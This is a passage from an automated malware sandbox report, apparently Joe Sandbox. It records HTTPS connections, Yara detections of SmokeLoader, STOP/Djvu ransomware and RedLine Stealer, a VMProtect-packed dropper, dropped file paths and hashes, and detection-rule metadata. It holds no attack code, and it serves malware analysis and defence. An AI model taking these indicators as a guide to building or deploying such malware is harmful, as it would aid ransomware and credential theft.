Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49817 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 23.3.361E.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.530448441.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: file.exe, 00000000.00000002.393735592.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D7DE.exe PID: 1924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D7DE.exe PID: 4792, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 15.0.D7DE.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000017.00000002.553355323.0000000000918000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000017.00000002.552885193.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000000.483176632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.437004694.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D7DE.exe PID: 1924, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D7DE.exe PID: 4792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Detected VMProtect packer

Source: F5C7.exe.1.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B4F0	0_2_0041B4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412EF0	0_2_00412EF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A710	0_2_0041A710
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_0041B4F0	9_2_0041B4F0
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00412EF0	9_2_00412EF0
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_0041A710	9_2_0041A710
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04772B6C	13_2_04772B6C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04772B71	13_2_04772B71
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04773778	13_2_04773778
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_047749E0	13_2_047749E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04773354	13_2_04773354
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04772510	13_2_04772510
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04771EC0	13_2_04771EC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04771000	13_2_04771000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_048439A0	13_2_048439A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04842AC0	13_2_04842AC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_048419DD	13_2_048419DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04841000	13_2_04841000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04844418	13_2_04844418
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04841F20	13_2_04841F20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_048415A0	13_2_048415A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_048428B0	13_2_048428B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04841C00	13_2_04841C00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04842440	13_2_04842440
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_0041A5C0	14_2_0041A5C0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CCA10	14_2_026CCA10
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026D0B00	14_2_026D0B00
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CDBE0	14_2_026CDBE0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CB000	14_2_026CB000
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026C30EE	14_2_026C30EE
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026D00D0	14_2_026D00D0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026E18D0	14_2_026E18D0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CB0B0	14_2_026CB0B0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026EE9A3	14_2_026EE9A3
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026EF9B0	14_2_026EF9B0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CE6E0	14_2_026CE6E0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026CC760	14_2_026CC760

Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 20C0.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 20C0.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 20C0.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361E.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361E.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361E.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361E.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 56E6.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 56E6.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 56E6.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 56E6.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C40D.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C40D.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C40D.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D7DE.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D7DE.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D7DE.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D7DE.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bhseufd.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bhseufd.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bhseufd.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bhseufd.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\20C0.exe CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 15.0.D7DE.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.3.56E6.exe.3c91306.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 28.3.56E6.exe.3c99146.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 28.3.56E6.exe.3c96ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
